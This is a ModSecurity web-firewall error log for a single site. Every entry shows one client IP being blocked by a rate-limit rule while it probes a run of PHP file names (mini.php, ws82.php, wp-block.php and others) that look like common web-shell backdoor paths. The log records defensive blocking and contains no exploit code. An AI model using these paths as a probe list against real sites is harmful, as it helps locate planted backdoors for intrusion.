[Fri Apr 24 06:28:41.660103 2026] [:error] [pid 19200:tid 19230] [client 23.100.53.213:42164] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jk.php"] [unique_id "aeqdGTQ--M3-tsKAnhGq-QAAANY"]
[Fri Apr 24 06:28:43.401958 2026] [:error] [pid 19200:tid 19209] [client 23.100.53.213:10337] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "aeqdGzQ--M3-tsKAnhGq_wAAAME"]
[Fri Apr 24 06:28:45.063069 2026] [:error] [pid 52129:tid 52143] [client 23.100.53.213:50631] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "aeqdHeKCZKf8_u2LKiBz6QAAAQo"]
[Fri Apr 24 06:28:46.473690 2026] [:error] [pid 19102:tid 19177] [client 23.100.53.213:9686] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "aeqdHgDSgrbLEZbkqD7PqQAAAI0"]
[Fri Apr 24 06:28:47.626176 2026] [:error] [pid 19102:tid 19183] [client 23.100.53.213:44537] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "aeqdHwDSgrbLEZbkqD7PrQAAAJM"]
[Fri Apr 24 06:28:48.308291 2026] [:error] [pid 19102:tid 19188] [client 23.100.53.213:21029] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aeqdIADSgrbLEZbkqD7PrgAAAJg"]
[Fri Apr 24 06:28:49.262249 2026] [:error] [pid 52129:tid 52155] [client 23.100.53.213:41119] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aeqdIeKCZKf8_u2LKiBz_gAAARY"]
[Fri Apr 24 06:28:51.544533 2026] [:error] [pid 19102:tid 19184] [client 23.100.53.213:10347] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aeqdIwDSgrbLEZbkqD7PtQAAAJQ"]
[Fri Apr 24 06:28:52.338154 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:45028] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aeqdJOKCZKf8_u2LKiB0IgAAARg"]
[Fri Apr 24 06:28:53.091902 2026] [:error] [pid 19200:tid 19218] [client 23.100.53.213:45030] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aeqdJTQ--M3-tsKAnhGrDQAAAMo"]
[Fri Apr 24 06:28:53.927446 2026] [:error] [pid 19101:tid 19139] [client 23.100.53.213:37525] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aeqdJWAHj9bEvrTgbO3WnwAAAEI"]
[Fri Apr 24 06:28:54.896134 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:31412] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aeqdJjQ--M3-tsKAnhGrEAAAANA"]
[Fri Apr 24 06:28:55.928096 2026] [:error] [pid 19200:tid 19225] [client 23.100.53.213:9693] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aeqdJzQ--M3-tsKAnhGrEwAAANE"]
[Fri Apr 24 06:28:58.819153 2026] [:error] [pid 19102:tid 19174] [client 23.100.53.213:45002] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeqdKgDSgrbLEZbkqD7PvgAAAIo"]
[Fri Apr 24 06:29:00.797047 2026] [:error] [pid 19200:tid 19215] [client 23.100.53.213:44050] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeqdLDQ--M3-tsKAnhGrFgAAAMc"]
[Fri Apr 24 06:29:01.939480 2026] [:error] [pid 52129:tid 52133] [client 23.100.53.213:37483] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeqdLeKCZKf8_u2LKiB0PwAAAQA"]
[Fri Apr 24 06:29:02.972429 2026] [:error] [pid 19101:tid 19141] [client 23.100.53.213:44037] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aeqdLmAHj9bEvrTgbO3WqQAAAEQ"]
[Fri Apr 24 06:29:06.701493 2026] [:error] [pid 52129:tid 52149] [client 23.100.53.213:39652] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "aeqdMuKCZKf8_u2LKiB0XQAAARA"]
[Fri Apr 24 06:29:07.613228 2026] [:error] [pid 52129:tid 52137] [client 23.100.53.213:45026] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "aeqdM-KCZKf8_u2LKiB0YQAAAQQ"]
[Fri Apr 24 06:29:08.455604 2026] [:error] [pid 19200:tid 19209] [client 23.100.53.213:44305] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "aeqdNDQ--M3-tsKAnhGrOgAAAME"]
[Fri Apr 24 06:29:09.851894 2026] [:error] [pid 19100:tid 19119] [client 23.100.53.213:46470] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mode.php"] [unique_id "aeqdNbF_hzQs4CqbifcRQQAAAAk"]
[Fri Apr 24 06:29:10.887760 2026] [:error] [pid 19102:tid 19177] [client 23.100.53.213:40672] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aeqdNgDSgrbLEZbkqD7PywAAAI0"]
[Fri Apr 24 06:29:12.254751 2026] [:error] [pid 19102:tid 19183] [client 23.100.53.213:28194] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aeqdOADSgrbLEZbkqD7PzQAAAJM"]
[Fri Apr 24 06:29:12.962595 2026] [:error] [pid 52129:tid 52137] [client 23.100.53.213:40697] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aeqdOOKCZKf8_u2LKiB0agAAAQQ"]
[Fri Apr 24 06:29:14.007329 2026] [:error] [pid 52129:tid 52151] [client 23.100.53.213:41828] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aeqdOuKCZKf8_u2LKiB0cQAAARI"]
[Fri Apr 24 06:29:15.310856 2026] [:error] [pid 19200:tid 19228] [client 23.100.53.213:43336] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeqdOzQ--M3-tsKAnhGrQgAAANQ"]
[Fri Apr 24 06:29:16.652705 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:44334] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeqdPOKCZKf8_u2LKiB0dwAAARg"]
[Fri Apr 24 06:29:17.529668 2026] [:error] [pid 19100:tid 19129] [client 23.100.53.213:12447] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeqdPbF_hzQs4CqbifcRSwAAABM"]
[Fri Apr 24 06:31:37.608280 2026] [:error] [pid 52129:tid 52134] [client 23.100.53.213:46192] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeqdyeKCZKf8_u2LKiB2EAAAAQE"]
[Fri Apr 24 06:31:38.309497 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:46626] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeqdyuKCZKf8_u2LKiB2EgAAARg"]
[Fri Apr 24 06:31:39.076046 2026] [:error] [pid 52129:tid 52133] [client 23.100.53.213:39002] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeqdy-KCZKf8_u2LKiB2FQAAAQA"]
[Fri Apr 24 06:31:39.858364 2026] [:error] [pid 19200:tid 19221] [client 23.100.53.213:22624] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeqdyzQ--M3-tsKAnhGsGwAAAM0"]
[Fri Apr 24 06:31:40.935367 2026] [:error] [pid 52129:tid 52141] [client 23.100.53.213:41768] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeqdzOKCZKf8_u2LKiB2GQAAAQg"]
[Fri Apr 24 06:31:41.759445 2026] [:error] [pid 19100:tid 19119] [client 23.100.53.213:22649] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeqdzbF_hzQs4CqbifcRyQAAAAk"]
[Fri Apr 24 06:31:44.283049 2026] [:error] [pid 52129:tid 52133] [client 23.100.53.213:43922] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeqd0OKCZKf8_u2LKiB2JAAAAQA"]
[Fri Apr 24 06:31:45.347879 2026] [:error] [pid 52129:tid 52144] [client 23.100.53.213:41756] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aeqd0eKCZKf8_u2LKiB2LAAAAQs"]
[Fri Apr 24 06:31:47.373299 2026] [:error] [pid 19100:tid 19125] [client 23.100.53.213:47244] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeqd07F_hzQs4CqbifcRzAAAAA8"]
[Fri Apr 24 06:31:50.087338 2026] [:error] [pid 19102:tid 19166] [client 23.100.53.213:44966] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeqd1gDSgrbLEZbkqD7QSAAAAII"]
[Fri Apr 24 06:31:52.496468 2026] [:error] [pid 52129:tid 52153] [client 23.100.53.213:42319] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeqd2OKCZKf8_u2LKiB2PAAAARQ"]
[Fri Apr 24 06:31:53.208169 2026] [:error] [pid 19200:tid 19225] [client 23.100.53.213:43666] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeqd2TQ--M3-tsKAnhGsKQAAANE"]
[Fri Apr 24 06:31:55.438587 2026] [:error] [pid 19200:tid 19214] [client 23.100.53.213:43920] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aeqd2zQ--M3-tsKAnhGsKgAAAMY"]
[Fri Apr 24 06:31:57.483431 2026] [:error] [pid 19200:tid 19219] [client 23.100.53.213:43909] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aeqd3TQ--M3-tsKAnhGsLQAAAMs"]
[Fri Apr 24 06:31:58.540340 2026] [:error] [pid 19200:tid 19213] [client 23.100.53.213:47832] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aeqd3jQ--M3-tsKAnhGsMQAAAMU"]
[Fri Apr 24 06:31:59.799074 2026] [:error] [pid 19200:tid 19228] [client 23.100.53.213:45433] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tool.php"] [unique_id "aeqd3zQ--M3-tsKAnhGsNgAAANQ"]
[Fri Apr 24 06:32:01.906311 2026] [:error] [pid 19200:tid 19221] [client 23.100.53.213:47846] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeqd4TQ--M3-tsKAnhGsPwAAAM0"]
[Fri Apr 24 06:32:04.917912 2026] [:error] [pid 19200:tid 19229] [client 23.100.53.213:40954] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeqd5DQ--M3-tsKAnhGsRwAAANU"]
[Fri Apr 24 06:32:05.967471 2026] [:error] [pid 19102:tid 19184] [client 23.100.53.213:45402] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeqd5QDSgrbLEZbkqD7QXQAAAJQ"]
[Fri Apr 24 06:32:07.124550 2026] [:error] [pid 19102:tid 19175] [client 23.100.53.213:45395] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeqd5wDSgrbLEZbkqD7QYgAAAIs"]
[Fri Apr 24 06:32:10.235732 2026] [:error] [pid 19200:tid 19222] [client 23.100.53.213:41172] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeqd6jQ--M3-tsKAnhGsVgAAAM4"]
[Fri Apr 24 06:32:12.533805 2026] [:error] [pid 19101:tid 19159] [client 23.100.53.213:9986] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeqd7GAHj9bEvrTgbO3XSgAAAFY"]
[Fri Apr 24 06:32:14.538157 2026] [:error] [pid 19100:tid 19134] [client 23.100.53.213:41163] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeqd7rF_hzQs4CqbifcR3QAAABg"]
[Fri Apr 24 06:32:15.634056 2026] [:error] [pid 52129:tid 52136] [client 23.100.53.213:45380] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeqd7-KCZKf8_u2LKiB2UQAAAQM"]
[Fri Apr 24 06:32:17.170651 2026] [:error] [pid 52129:tid 52144] [client 23.100.53.213:44615] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeqd8eKCZKf8_u2LKiB2VAAAAQs"]
[Fri Apr 24 06:32:17.985541 2026] [:error] [pid 19101:tid 19141] [client 23.100.53.213:9987] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeqd8WAHj9bEvrTgbO3XTAAAAEQ"]
[Fri Apr 24 06:32:19.035294 2026] [:error] [pid 19200:tid 19231] [client 23.100.53.213:43671] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeqd8zQ--M3-tsKAnhGsZQAAANc"]
[Fri Apr 24 06:32:20.150127 2026] [:error] [pid 19200:tid 19230] [client 23.100.53.213:47536] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aeqd9DQ--M3-tsKAnhGsaQAAANY"]
